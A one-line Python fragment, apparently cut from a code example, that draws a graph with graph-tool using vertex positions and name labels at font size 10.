gt.graph_draw(g, pos=pos, vertex_text=g.vp.name, vertex_font_size=10)
```